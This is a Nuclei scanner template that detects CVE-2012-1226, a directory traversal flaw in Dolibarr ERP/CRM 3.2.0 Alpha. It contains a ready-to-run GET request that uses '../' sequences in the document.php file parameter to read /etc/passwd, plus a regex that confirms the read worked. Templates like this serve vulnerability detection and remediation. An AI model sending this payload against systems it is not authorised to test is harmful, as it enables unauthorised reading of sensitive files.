id: CVE-2012-1226 info: name: Dolibarr ERP/CRM 3.2 Alpha - Multiple Directory Traversal Vulnerabilities author: daffainfo severity: high description: Multiple directory traversal vulnerabilities in Dolibarr CMS 3.2.0 Alpha allow remote attackers to read arbitrary files and possibly execute arbitrary code via a .. (dot dot) in the (1) file parameter to document.php or (2) backtopage parameter in a create action to comm/action/fiche.php. remediation: Upgrade to the latest version to mitigate this vulnerability. reference: - https://www.exploit-db.com/exploits/36873 - https://nvd.nist.gov/vuln/detail/CVE-2012-1226 - http://www.vulnerability-lab.com/get_content.php?id=428 - http://www.exploit-db.com/exploits/18480 - https://exchange.xforce.ibmcloud.com/vulnerabilities/73136 classification: cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P cvss-score: 7.5 cve-id: CVE-2012-1226 cwe-id: CWE-22 epss-score: 0.10469 epss-percentile: 0.94356 cpe: cpe:2.3:a:dolibarr:dolibarr_erp\/crm:3.2.0:alpha:*:*:*:*:*:* metadata: max-request: 1 vendor: dolibarr product: dolibarr_erp\/crm tags: cve,cve2012,lfi,dolibarr,traversal,edb http: - method: GET path: - "{{BaseURL}}/document.php?modulepart=project&file=../../../../../../../etc/passwd" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4b0a00483046022100f7b39ebc739d2ddadca400dcb834ef3bfce0fb330b7dffd333b58b3819e04e69022100fe94138e1376e55a1b59cce8c3db05708c2f19a16125088582052f7ef53e5f38:922c64590222798bb761d5b6d8e72950